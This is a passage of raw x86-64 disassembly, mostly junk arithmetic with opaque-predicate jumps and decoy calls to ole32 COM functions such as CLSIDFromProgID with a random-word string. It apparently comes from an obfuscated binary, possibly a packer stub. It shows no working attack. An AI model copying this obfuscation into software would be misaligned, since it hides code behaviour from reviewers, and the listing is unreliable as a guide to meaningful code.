movzx edx, word [rbp + 0x4328]
movzx eax, word [rbp + 0x232e]
add eax, edx
mov word [rbp + 0x2fd4], ax
mov edx, dword [rbp + 0x57c]
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x35b4], edx
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rax, qword [rbp + 0x15990]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4448]
add rdx, rcx
mov qword [rax], rdx
mov edx, dword [rbp + 0x644]
mov eax, dword [rbp + 0x3d50]
sub edx, eax
mov dword [rbp + 0x129c], edx
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
sub rdx, rax
mov qword [rbp + 0xa00], rdx
mov rax, qword [rbp + 0x15990]
mov rcx, qword [rax]
mov rdx, qword [0x1400fd030]
mov rax, qword [rbp + 0x4448]
and rdx, rcx
mov qword [rax], rdx
mov rcx, qword [rbp + 0x4e8]
mov rdx, qword [rbp + 0xa00]
mov rax, qword [rbp + 0x4448]
add rdx, rcx
mov qword [rax], rdx
mov edx, dword [rbp + 0x3d50]
mov eax, dword [rbp + 0x644]
xor eax, edx
mov dword [section..data], eax
mov rax, qword [rbp + 0x4448]
mov rdx, qword [rax]
mov rax, qword [0x1400fd038]
mov rax, qword [rax]
mov ecx, eax
sar rdx, cl
mov rax, qword [rbp + 0x15990]
mov qword [rax], rdx
movzx eax, byte [rbp + 0x51f]
or eax, 8
mov byte [rbp + 0x51f], al
mov edx, dword [rbp + 0x3d50]
mov eax, dword [section..data]
mov ecx, eax
shl edx, cl
mov eax, edx
mov dword [rbp + 0x644], eax
add dword [rbp + 0x16358], 0x14
mov rax, qword [rbp + 0x16d8]
mov edx, dword [rax]
mov eax, dword [rbp + 0x57c]
add eax, edx
mov dword [rbp + 0x35b4], eax
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0xa00]
and rdx, rax
mov rax, qword [rbp + 0x15990]
mov qword [rax], rdx
mov rax, qword [0x1400fd038]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4e8]
add rax, rdx
mov qword [rbp + 0xa00], rax
mov ecx, dword [rbp + 0x57c]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
add rdx, rcx
mov qword [rax], rdx
mov edx, dword [rbp + 0x129c]
mov eax, dword [rbp + 0x644]
sub edx, eax
mov dword [section..data], edx
movzx eax, word [rbp + 0x302]
mov edx, eax
movzx eax, word [rbp + 0x2ee]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x421e], ax
movzx eax, word [rbp + 0x302]
mov edx, eax
movzx eax, word [rbp + 0x421e]
add eax, edx
mov word [rbp + 0x2ee], ax
mov edx, dword [rbp + 0x57c]
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x35b4], edx
mov rax, qword [rbp + 0x15990]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
and rdx, rax
mov rax, qword [rbp + 0x15990]
mov qword [rax], rdx
mov rax, qword [rbp + 0x15990]
mov rdx, qword [rax]
mov rax, qword [rbp + 0xa00]
or rdx, rax
mov rax, qword [rbp + 0x15990]
mov qword [rax], rdx
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x57c]
mov rax, qword [rbp + 0x16d8]
xor edx, ecx
mov dword [rax], edx
movzx eax, byte [rbp + 0x51f]
shl eax, 5
mov byte [rbp + 0x51f], al
mov rax, qword [rbp + 0x4448]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x15990]
mov rax, qword [rax]
mov ecx, eax
mov rax, qword [rbp + 0x4448]
sar rdx, cl
mov qword [rax], rdx
movzx eax, word [rbp + 0x421e]
mov edx, eax
movzx eax, word [rbp + 0x302]
add eax, edx
mov word [rbp + 0x2ee], ax
mov rcx, qword [rbp + 0xa00]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [0x1400fd038]
add rdx, rcx
mov qword [rax], rdx
movzx eax, byte [rbp + 0x51f]
and eax, 0x6d
mov byte [rbp + 0x51f], al
cmp dword [rbp + 0x16358], 0xdc7
jne 0x140007e3c
movzx eax, word [rbp + 0x302]
cwde
cmp eax, 0xffffe058
jne 0x1400e21c1
movzx eax, byte [rbp + 0x51f]
mov byte [rbp + 0x2a9d], al
lea rax, [rbp + 0xa00]
mov qword [rbp + 0x1f10], rax
jmp 0x14000868f
mov rax, qword [rbp + 0x1fd8]
or rax, qword [rbp + 0x162e8]
mov qword [rbp + 0x3798], rax
mov edx, dword [rbp + 0x3d50]
mov eax, dword [rbp + 0x644]
mov ecx, eax
shl edx, cl
mov eax, edx
mov dword [rbp + 0x129c], eax
mov rax, qword [rbp + 0x16d8]
mov r8d, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
mov ecx, edx
shr r8d, cl
mov edx, r8d
mov dword [rax], edx
mov ecx, dword [rbp + 0x35b4]
mov edx, dword [rbp + 0x57c]
mov rax, qword [rbp + 0x16d8]
xor edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x1f10]
mov rdx, qword [rax]
mov rax, qword [rbp + 0xa00]
and rdx, rax
mov rax, qword [rbp + 0x15990]
mov qword [rax], rdx
movzx eax, byte [rbp + 0x51f]
add eax, 4
mov byte [rbp + 0x2a9d], al
mov edx, dword [rbp + 0x644]
mov eax, dword [rbp + 0x129c]
add eax, edx
mov dword [section..data], eax
mov edx, dword [rbp + 0x644]
mov eax, dword [rbp + 0x129c]
and eax, edx
mov dword [rbp + 0x3d50], eax
movzx eax, word [rbp + 0x421e]
mov edx, eax
movzx eax, word [rbp + 0x2ee]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x302], ax
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [0x1400fd030]
add rax, rdx
mov qword [rbp + 0xa00], rax
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x57c], edx
mov edx, dword [rbp + 0x3d50]
mov eax, dword [rbp + 0x129c]
add eax, edx
mov dword [rbp + 0x644], eax
mov rax, qword [rbp + 0x15990]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
sub rcx, rdx
mov qword [rax], rcx
movzx eax, word [rbp + 0x232e]
movzx edx, ax
movzx eax, word [rbp + 0x4328]
movzx eax, ax
mov ecx, eax
sar edx, cl
mov eax, edx
mov word [rbp + 0x27c], ax
mov ecx, dword [rbp + 0x35b4]
mov edx, dword [rbp + 0x57c]
mov rax, qword [rbp + 0x16d8]
or edx, ecx
mov dword [rax], edx
mov edx, dword [rbp + 0x3d50]
mov eax, dword [rbp + 0x129c]
xor eax, edx
mov dword [section..data], eax
movzx eax, word [rbp + 0x27c]
movzx edx, ax
movzx eax, word [rbp + 0x2fd4]
movzx eax, ax
mov ecx, eax
shl edx, cl
mov eax, edx
mov word [rbp + 0x232e], ax
mov ecx, dword [rbp + 0x35b4]
mov edx, dword [rbp + 0x57c]
mov rax, qword [rbp + 0x16d8]
and edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x57c]
mov rax, qword [rbp + 0x16d8]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x15990]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
sub rdx, rax
mov rax, qword [rbp + 0x15990]
mov qword [rax], rdx
mov rax, qword [0x1400fd038]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
add rax, rdx
mov qword [rbp + 0xa00], rax
movzx eax, byte [rbp + 0x51f]
and eax, 0x55
mov byte [rbp + 0x2a9d], al
movzx edx, word [rbp + 0x2fd4]
movzx eax, word [rbp + 0x4328]
add eax, edx
mov word [rbp + 0x232e], ax
mov rax, qword [0x1400fd038]
mov rcx, qword [rax]
mov rax, qword [rbp + 0x15990]
mov rdx, qword [rax]
mov rax, qword [0x1400fd038]
sub rcx, rdx
mov qword [rax], rcx
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x57c]
mov rax, qword [rbp + 0x16d8]
sub ecx, edx
mov dword [rax], ecx
movzx eax, byte [rbp + 0x2a9d]
sub eax, 0x28
mov byte [rbp + 0x51f], al
mov ecx, dword [rbp + 0x35b4]
mov edx, dword [rbp + 0x57c]
mov rax, qword [rbp + 0x16d8]
or edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x16d8]
mov r8d, dword [rax]
mov edx, dword [rbp + 0x57c]
mov rax, qword [rbp + 0x16d8]
mov ecx, edx
shr r8d, cl
mov edx, r8d
mov dword [rax], edx
mov rax, qword [rbp + 0xa00]
mov rdx, qword [0x1400fd030]
mov ecx, edx
shl rax, cl
mov qword [rbp + 0x4e8], rax
add dword [rbp + 0x163ac], 0x76
mov rdx, qword [rbp + 0x3798]
mov rax, qword [rbp + 0x1fd8]
xor rax, rdx
mov qword [rbp + 0x162e8], rax
movzx edx, word [rbp + 0x2fd4]
movzx eax, word [rbp + 0x4328]
and eax, edx
mov word [rbp + 0x232e], ax
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x57c]
mov rax, qword [rbp + 0x16d8]
sub ecx, edx
mov dword [rax], ecx
mov edx, dword [rbp + 0x3d50]
mov eax, dword [rbp + 0x129c]
add eax, edx
mov dword [section..data], eax
mov rcx, qword [rbp + 0x4e8]
mov rax, qword [0x1400fd038]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x1f10]
sub rcx, rdx
mov qword [rax], rcx
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x1f10]
mov rdx, qword [rax]
mov rax, qword [0x1400fd030]
add rax, rdx
mov qword [rbp + 0xa00], rax
mov rax, qword [rbp + 0x1f10]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
and rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x16d8]
mov edx, dword [rax]
mov eax, dword [rbp + 0x57c]
sub edx, eax
mov dword [rbp + 0x35b4], edx
mov edx, dword [rbp + 0x3d50]
mov eax, dword [rbp + 0x129c]
add eax, edx
mov dword [rbp + 0x644], eax
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
add edx, ecx
mov dword [rax], edx
movzx eax, word [rbp + 0x4328]
movzx edx, ax
movzx eax, word [rbp + 0x27c]
movzx eax, ax
mov ecx, eax
sar edx, cl
mov eax, edx
mov word [rbp + 0x2fd4], ax
mov edx, dword [rbp + 0x3d50]
mov eax, dword [rbp + 0x129c]
or eax, edx
mov dword [section..data], eax
cmp dword [rbp + 0x163ac], 0xae26
jne 0x14000824c
jmp 0x140008a43
movzx edx, word [rbp + 0x421e]
movzx eax, word [rbp + 0x302]
xor eax, edx
mov word [rbp + 0x2ee], ax
movzx eax, byte [rbp + 0x51f]
shl eax, 7
mov byte [rbp + 0x2a9d], al
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
and edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x15990]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x1f10]
sub rcx, rdx
mov qword [rax], rcx
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0xa00]
sub rdx, rax
mov rax, qword [rbp + 0x15990]
mov qword [rax], rdx
mov rax, qword [rbp + 0x3798]
mov rdx, qword [rbp + 0x162e8]
sub rdx, rax
mov qword [rbp + 0x1fd8], rdx
mov rax, qword [rbp + 0x15990]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
add rdx, rax
mov rax, qword [rbp + 0x15990]
mov qword [rax], rdx
mov ecx, dword [rbp + 0x57c]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x15990]
mov rcx, qword [rax]
mov rax, qword [rbp + 0x4448]
mov rdx, qword [rax]
mov rax, qword [0x1400fd038]
sub rcx, rdx
mov qword [rax], rcx
mov rax, qword [0x1400fd038]
mov rdx, qword [rax]
mov rax, qword [rbp + 0xa00]
and rdx, rax
mov rax, qword [rbp + 0x15990]
mov qword [rax], rdx
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0xa00]
mov rax, qword [rbp + 0x1f10]
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x16d8]
mov edx, dword [rax]
mov eax, dword [rbp + 0x35b4]
or eax, edx
mov dword [rbp + 0x57c], eax
mov rax, qword [rbp + 0x1f10]
mov rdx, qword [rax]
mov rax, qword [rbp + 0xa00]
xor rdx, rax
mov rax, qword [rbp + 0x15990]
mov qword [rax], rdx
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0xa00]
mov ecx, eax
mov rax, qword [rbp + 0x4448]
sar rdx, cl
mov qword [rax], rdx
mov edx, dword [rbp + 0x644]
mov eax, dword [rbp + 0x129c]
mov ecx, eax
shl edx, cl
mov eax, edx
mov dword [rbp + 0x3d50], eax
mov rax, qword [rbp + 0x1f10]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4e8]
add rax, rdx
mov qword [rbp + 0xa00], rax
mov rax, qword [rbp + 0x1f10]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
and rdx, rcx
mov qword [rax], rdx
mov rcx, qword [rbp + 0xa00]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [0x1400fd038]
sub rcx, rdx
mov qword [rax], rcx
movzx eax, word [rbp + 0x2ee]
mov edx, eax
movzx eax, word [rbp + 0x302]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x421e], ax
movzx eax, byte [rbp + 0x2a9d]
add eax, 0x4b
mov byte [rbp + 0x51f], al
sub dword [rbp + 0x16410], 0x7d
mov rdx, qword [rbp + 0xa00]
mov rax, qword [0x1400fd030]
add rax, rdx
mov qword [rbp + 0x4e8], rax
mov rax, qword [rbp + 0x16d8]
mov edx, dword [rax]
mov eax, dword [rbp + 0x35b4]
add eax, edx
mov dword [rbp + 0x57c], eax
mov edx, dword [rbp + 0x644]
mov eax, dword [rbp + 0x129c]
sub edx, eax
mov dword [rbp + 0x3d50], edx
mov ecx, dword [rbp + 0x35b4]
mov edx, dword [rbp + 0x57c]
mov rax, qword [rbp + 0x16d8]
add edx, ecx
mov dword [rax], edx
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0xa00]
and rdx, rax
mov rax, qword [rbp + 0x15990]
mov qword [rax], rdx
movzx eax, word [rbp + 0x232e]
movzx edx, ax
movzx eax, word [rbp + 0x4328]
movzx eax, ax
mov ecx, eax
sar edx, cl
mov eax, edx
mov word [rbp + 0x2fd4], ax
mov rcx, qword [rbp + 0xa00]
mov rdx, qword [0x1400fd030]
mov rax, qword [0x1400fd038]
xor rdx, rcx
mov qword [rax], rdx
movzx eax, word [rbp + 0x302]
movsx edx, ax
movzx eax, word [rbp + 0x2ee]
cwde
mov ecx, eax
shl edx, cl
mov eax, edx
mov word [rbp + 0x421e], ax
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
or edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x1fd8]
sub rax, qword [rbp + 0x162e8]
mov qword [rbp + 0x3798], rax
mov rax, qword [rbp + 0x16d8]
mov edx, dword [rax]
mov eax, dword [rbp + 0x35b4]
sub edx, eax
mov dword [rbp + 0x57c], edx
mov edx, dword [rbp + 0x129c]
mov eax, dword [rbp + 0x644]
and eax, edx
mov dword [rbp + 0x3d50], eax
mov rax, qword [rbp + 0x1f10]
mov rdx, qword [rax]
mov rax, qword [0x1400fd038]
mov rax, qword [rax]
sub rdx, rax
mov rax, qword [rbp + 0x15990]
mov qword [rax], rdx
movzx edx, word [rbp + 0x2fd4]
movzx eax, word [rbp + 0x27c]
add eax, edx
mov word [rbp + 0x4328], ax
movzx eax, byte [rbp + 0x51f]
sub eax, 0xc
mov byte [rbp + 0x2a9d], al
mov edx, dword [rbp + 0x129c]
mov eax, dword [rbp + 0x3d50]
sub edx, eax
mov dword [section..data], edx
cmp dword [rbp + 0x16410], 0x41ac
ja 0x1400086a4
jmp 0x140008e59
mov rax, qword [rbp + 0x15990]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0xa00]
mov rax, qword [rbp + 0x1f10]
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x15990]
mov rdx, qword [rax]
mov rax, qword [0x1400fd038]
mov rax, qword [rax]
add rdx, rax
mov rax, qword [rbp + 0x15990]
mov qword [rax], rdx
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [0x1400fd030]
add rax, rdx
mov qword [rbp + 0xa00], rax
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x57c]
mov rax, qword [rbp + 0x16d8]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x15990]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
xor rdx, rax
mov rax, qword [rbp + 0x15990]
mov qword [rax], rdx
mov rax, qword [rbp + 0x4448]
mov rdx, qword [rax]
mov rax, qword [0x1400fd030]
or rdx, rax
mov rax, qword [rbp + 0x15990]
mov qword [rax], rdx
mov rdx, qword [rbp + 0xa00]
mov rax, qword [rbp + 0x15990]
mov rax, qword [rax]
mov ecx, eax
mov rax, qword [rbp + 0x1f10]
sar rdx, cl
mov qword [rax], rdx
movzx eax, word [rbp + 0x232e]
movzx edx, ax
movzx eax, word [rbp + 0x2fd4]
movzx eax, ax
mov ecx, eax
shl edx, cl
mov eax, edx
mov word [rbp + 0x27c], ax
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
and edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x1f10]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x15990]
mov rax, qword [rax]
add rax, rdx
mov qword [0x1400fd030], rax
movzx edx, word [rbp + 0x232e]
movzx eax, word [rbp + 0x4328]
add eax, edx
mov word [rbp + 0x2fd4], ax
mov edx, dword [rbp + 0x129c]
mov eax, dword [rbp + 0x3d50]
and eax, edx
mov dword [rbp + 0x644], eax
mov rdx, qword [rbp + 0xa00]
mov rax, qword [0x1400fd030]
sub rdx, rax
mov qword [rbp + 0x4e8], rdx
mov ecx, dword [rbp + 0x35b4]
mov edx, dword [rbp + 0x57c]
mov rax, qword [rbp + 0x16d8]
sub ecx, edx
mov dword [rax], ecx
mov edx, dword [rbp + 0x57c]
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x35b4], edx
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x1f10]
sub rcx, rdx
mov qword [rax], rcx
movzx eax, byte [rbp + 0x51f]
add eax, 7
mov byte [rbp + 0x2a9d], al
movzx eax, byte [rbp + 0x51f]
or eax, 0x55
mov byte [rbp + 0x2a9d], al
mov edx, dword [rbp + 0x3d50]
mov eax, dword [rbp + 0x129c]
mov ecx, eax
shl edx, cl
mov eax, edx
mov dword [section..data], eax
mov rax, qword [rbp + 0x1f10]
mov rdx, qword [rax]
mov rax, qword [rbp + 0xa00]
xor rdx, rax
mov rax, qword [rbp + 0x15990]
mov qword [rax], rdx
mov rax, qword [rbp + 0x15990]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x1f10]
mov rax, qword [rax]
mov ecx, eax
sar rdx, cl
mov rax, rdx
mov qword [rbp + 0x4e8], rax
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x57c]
mov rax, qword [rbp + 0x16d8]
and edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rax, qword [0x1400fd038]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4448]
sub rcx, rdx
mov qword [rax], rcx
mov edx, dword [rbp + 0x129c]
mov eax, dword [rbp + 0x644]
sub edx, eax
mov dword [rbp + 0x3d50], edx
movzx edx, word [rbp + 0x232e]
movzx eax, word [rbp + 0x4328]
add eax, edx
mov word [rbp + 0x2fd4], ax
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
add edx, ecx
mov dword [rax], edx
movzx eax, byte [rbp + 0x51f]
and eax, 0xffffffdd
mov byte [rbp + 0x2a9d], al
mov rax, qword [rbp + 0x1f10]
mov rcx, qword [rax]
mov rax, qword [rbp + 0x4448]
mov rdx, qword [rax]
mov rax, qword [0x1400fd038]
add rdx, rcx
mov qword [rax], rdx
movzx eax, word [rbp + 0x421e]
mov edx, eax
movzx eax, word [rbp + 0x2ee]
add eax, edx
mov word [rbp + 0x302], ax
add dword [rbp + 0x1640c], 0xc3
movzx eax, byte [rbp + 0x2a9d]
add eax, 0x72
mov byte [rbp + 0x51f], al
mov ecx, dword [rbp + 0x35b4]
mov edx, dword [rbp + 0x57c]
mov rax, qword [rbp + 0x16d8]
sub ecx, edx
mov dword [rax], ecx
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x15990]
mov rax, qword [rax]
mov ecx, eax
shl rdx, cl
mov rax, rdx
mov qword [rbp + 0xa00], rax
mov rax, qword [rbp + 0x4448]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4e8]
or rdx, rax
mov rax, qword [rbp + 0x15990]
mov qword [rax], rdx
mov rax, qword [rbp + 0x16d8]
mov edx, dword [rax]
mov eax, dword [rbp + 0x57c]
xor eax, edx
mov dword [rbp + 0x35b4], eax
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x15990]
mov rax, qword [rax]
mov ecx, eax
mov rax, qword [rbp + 0x4448]
sar rdx, cl
mov qword [rax], rdx
movzx edx, word [rbp + 0x302]
movzx eax, word [rbp + 0x421e]
and eax, edx
mov word [rbp + 0x2ee], ax
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0xa00]
mov rax, qword [0x1400fd038]
add rdx, rcx
mov qword [rax], rdx
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0xa00]
sub rdx, rax
mov rax, qword [rbp + 0x15990]
mov qword [rax], rdx
movzx eax, byte [rbp + 0x51f]
add eax, 0x21
mov byte [rbp + 0x2a9d], al
cmp dword [rbp + 0x1640c], 0xd2cb
jbe 0x140008a58
mov eax, dword [rbp + 0x35b4]
test eax, eax
je 0x140008e7f
cmp eax, 0x66a913ac
je 0x140008eb9
jmp 0x140009039
mov rax, qword [rbp + 0x1fd8]
mov rdx, qword [rbp + 0x162e8]
sub rdx, rax
mov qword [rbp + 0x3798], rdx
lea rax, [0x1400fd030]
mov qword [rbp + 0x2898], rax
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
mov dword [rbp + 0x1bbc], eax
jmp 0x140009039
movzx eax, word [rbp + 0x2fd4]
movzx eax, ax
cmp eax, 0x3b2
je 0x140008eda
cmp eax, 0x5e5
je 0x140008fe8
jmp 0x140009038
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0xa00]
sub rdx, rax
mov rax, qword [rbp + 0x1f10]
mov rcx, qword [rax]
mov rax, qword [0x1400fd030]
and rax, rcx
cmp rdx, rax
jle 0x140008fc8
lea rax, [rbp + 0x1fa0]
mov rdx, rax
lea rax, str.forepaws_Synchronises_refrains_surveying
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CLSIDFromProgID]
call rax
mov dword [rbp + 0x1598c], eax
mov ecx, dword [rbp + 0x1bbc]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
add edx, ecx
mov dword [rax], edx
mov edx, dword [rbp + 0x1bbc]
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
mov ecx, eax
shl edx, cl
mov r8d, edx
mov edx, dword [rbp + 0x57c]
mov eax, dword [rbp + 0x35b4]
mov ecx, eax
shr edx, cl
mov eax, edx
cmp r8d, eax
jne 0x140009037
mov edx, dword [rbp + 0x129c]
mov eax, dword [rbp + 0x3d50]
or eax, edx
mov dword [rbp + 0x644], eax
lea rdx, [rbp + 0x898]
lea rax, [rbp + 0x10ec]
mov r8, rdx
mov edx, 0xe1
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoGetStdMarshalEx]
call rax
mov dword [rbp + 0x159a8], eax
movzx edx, word [rbp + 0x2fd4]
movzx eax, word [rbp + 0x232e]
xor eax, edx
mov word [rbp + 0x27c], ax
jmp 0x140009037
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [0x1400fd038]
and rdx, rcx
mov qword [rax], rdx
jmp 0x140009037
lea r8, [rbp + 0x16d8]
lea rdx, [rbp + 0x898]
lea rax, [rbp + 0x51f]
lea rcx, [rbp + 0x2e40]
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], 0x9c
lea rcx, [rbp + 0x644]
mov qword [rsp + 0x20], rcx
mov r9d, 0x25
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoGetInstanceFromIStorage]
call rax
mov dword [rbp + 0x159ac], eax
jmp 0x140009038
nop
nop
movzx eax, byte [rbp + 0x3b7]
mov edx, eax
mov eax, edx
add eax, eax
add eax, edx
shl eax, 2
mov byte [rbp + 0x3b7], al
mov dword [rbp + 0x1638c], 0xf80
mov dword [rbp + 0x1641c], 0x74d5
movzx eax, byte [rbp + 0x3b7]
movsx eax, al
cmp eax, 0x18
jne 0x140009382
mov rdx, qword [rbp + 0x3798]
movabs rax, 0xa619fb99776e25d5
cmp rdx, rax
jne 0x140009360
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
test rax, rax
je 0x1400090f5
movabs rdx, 0x92fa1974ee1e16f
cmp rax, rdx
jne 0x14000937f
movzx eax, byte [rbp + 0x2a9d]
sub eax, 0x3c
mov byte [rbp + 0x51f], al
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0xa00]
add rdx, rax
mov rax, qword [rbp + 0x15990]
mov qword [rax], rdx
movzx eax, word [rbp + 0x4328]
movzx eax, ax
mov ecx, eax
call fcn.1400e3a71
jmp 0x14000935e
mov rdx, qword [rbp + 0x3798]
mov rax, qword [rbp + 0x162e8]
add rax, rdx
mov qword [rbp + 0x1fd8], rax
movzx eax, word [rbp + 0x302]
cwde
cmp eax, 0x4800
je 0x14000912c
cmp eax, 0x7065
je 0x140009340
jmp 0x14000935d
mov rax, qword [rbp + 0xa00]
mov qword [rbp + 0x1818], rax
mov dword [rbp + 0x162f8], 0xd371
mov rax, qword [rbp + 0x3798]
mov rdx, qword [rbp + 0x162e8]
sub rdx, rax
mov rax, qword [rbp + 0x1fd8]
cmp rax, rdx
jb 0x1400092db
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
mov dword [rbp + 0x1cbc], eax
movzx edx, word [rbp + 0x4328]
movzx eax, word [rbp + 0x27c]
and eax, edx
movzx edx, ax
movzx eax, word [rbp + 0x2fd4]
movzx ecx, ax
movzx eax, word [rbp + 0x232e]
movzx eax, ax
add eax, ecx
cmp edx, eax
jge 0x140009231
movzx eax, word [rbp + 0x232e]
movzx eax, ax
cmp eax, 0x830
jne 0x140009218
movzx eax, byte [rbp + 0x3b7]
cmp al, 0x32
jle 0x14000933d
movzx edx, word [rbp + 0x2ee]
movzx eax, word [rbp + 0x302]
or eax, edx
mov word [rbp + 0x421e], ax
mov r8d, dword [rbp + 0x57c]
mov edx, dword [rbp + 0x1bbc]
mov rax, qword [rbp + 0x16d8]
mov ecx, edx
shl r8d, cl
mov edx, r8d
mov dword [rax], edx
lea rax, [rbp + 0x32e0]
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoDisableCallCancellation]
call rax
mov dword [rbp + 0x15988], eax
jmp 0x14000933d
mov edx, dword [rbp + 0x3d50]
mov eax, dword [rbp + 0x644]
sub edx, eax
mov dword [section..data], edx
jmp 0x14000933e
movzx eax, word [rbp + 0x302]
cwde
cmp eax, 0x4800
jne 0x1400092a7
movzx eax, word [rbp + 0x232e]
movzx eax, ax
test eax, eax
jne 0x140009290
movzx edx, word [rbp + 0x421e]
movzx eax, word [rbp + 0x2ee]
and eax, edx
mov word [rbp + 0x302], ax
movzx eax, byte [rbp + 0x3b7]
mov byte [rbp + 0x43bd], al
lea rax, [rbp + 0x35b4]
